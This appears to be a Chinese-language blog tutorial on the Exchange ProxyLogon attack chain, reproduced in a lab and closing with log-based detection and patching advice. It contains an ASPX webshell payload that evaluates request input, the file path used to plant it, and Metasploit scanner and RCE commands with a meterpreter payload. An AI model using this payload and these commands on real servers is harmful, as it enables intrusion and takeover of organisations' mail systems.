Exchange ProxyLogon攻击链技术

概念&原理

将Exchange任意文件写入漏洞与Exchange服务端请求伪造漏洞结合进行组合攻击,被称为Exchange ProxyLogon攻击利用链。

原理

漏洞的具体位置是在Exchange后台管理中心,也就是localhost/ecp路径下的服务器的虚拟目录处,如图所示,该页面需要域管理员的权限才可以访问:

在这里插入图片描述

然后选中虚拟目录下的OAB(Default WebSite)选项,单击上方的修改按钮在这里插入图片描述,如图所示:

在这里插入图片描述

Tips:此操作会弹出虚拟目录配置窗口,在内部URL和外部的URL中都可以输入payload,且输入的payload必须以http或https开头。内部和外部的URL都限制了输入的最大长度为255,并且会将输入的URL中的%全部编码为%25。

这里选择修改外部的URL,因为修改内部的URL可能会让内部某些服务失去作用,外部的URL中填入如下payload:

http://ffff/#<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>

如图所示,在外部的URL中输入payload,单击“保存”按钮:

在这里插入图片描述

保存后,点击选择OAB,点击此图标:image-20250629163616647

在这里插入图片描述

这样会弹出一个重置虚拟目录的输入框

在这里插入图片描述

因为Exchange服务器并没有对输入框中内路径和保存的文件名进行检测和限制,所以可以在此输入框中填入任意的的路径和文件名,造成任意文件写入漏洞。这里的输入框中填入如下的路径,然后单击“重置”按钮,等待保存即可。

\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\shell.aspx

在这里插入图片描述

在这里插入图片描述

保存完成后,就可以在Exchange服务器的C:\inetpub\wwwroot\aspnet_client路径下找到刚刚写入的shell.aspx木马文件,如图所示:

在这里插入图片描述

shell.aspx木马文件内容如图所示:

在这里插入图片描述

随后浏览器输入如下的路径便可以访问该Webshell:https://localhost/aspnet_client/shell.aspx

在这里插入图片描述

使用BP开启拦截,可以看到成功访问到该Webshell:

在这里插入图片描述

除了OAB外,其他服务如PowerShell、ECP、EWS、OWA都可以设置内部URL和外部URL,同时也可以进行重置操作。

漏洞影响版本

  • Exchange Server 2013
  • Exchange Server 2016
  • Exchange Server 2019

漏洞复现

实验环境如下:

  • Exchange邮箱服务器:192.168.41.50
  • 存在的邮箱用户:hack@hack.com

一键化脚本攻击

脚本下载地址:https://github.com/hausec/ProxyLogon

这里使用一键化攻击脚本proxylogon.py执行如下的命令,复现演示,其中hack@hack.com是存在的用户邮箱名:

在这里插入图片描述

如图所示,当前已经成功获得了System权限

MSF检测和攻击

在MSF中已经集成了如下检测和利用ProxyLogon的模块,如图所示:

# 扫描目标exchange服务器是否存在proxylogon漏洞
auxiliary/scanner/http/exchange_proxylogon

# 对proxylogon漏洞进行rce利用
exploit/windows/http/exchange_proxylogon_rce

在这里插入图片描述

漏洞检测模块的使用

如下是漏洞检测模块的使用,只需要设置目标Exchange邮箱服务器的地址即可。

use auxiliary/scanner/http/exchange_proxylogon
set rhosts 192.168.41.50
run

如图所示,可以看出成功扫描到目标Exchange邮箱服务器存在ProxyLogon漏洞:

在这里插入图片描述

漏洞利用模块的使用

如下是漏洞利用模块的使用,设置相应的payload、目标Exchange邮箱服务器的地址、有效的邮箱用户、监听IP即可:

use exploit/windows/http/exchange_proxylogon_rce
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.41.50
set email hack@hack.com
run

在这里插入图片描述

如图所示,对模块中各值进行设置,并成功进行了攻击,成功完成攻击之后,会返回给攻击者一个Session 会话。

漏洞检测和防御

对于防守方和蓝队来说,攻击者的攻击痕迹会留在以下路径的日志中,日志文件如图所示:

%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\ECP\Server\

在这里插入图片描述

防守方可据此在Exchange服务器上执行如下的Powershell语句,检测攻击痕迹:

Select-String -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log" -Pattern 'Set-.+VirtualDirectory'

微软已经发布了这些漏洞的补丁程序,可以直接通过Windows自动跟新修复以上漏洞从而达到防御的目的。

posted @ 2025-12-03 09:45  shinianyunyan  阅读(21)  评论(0)    收藏  举报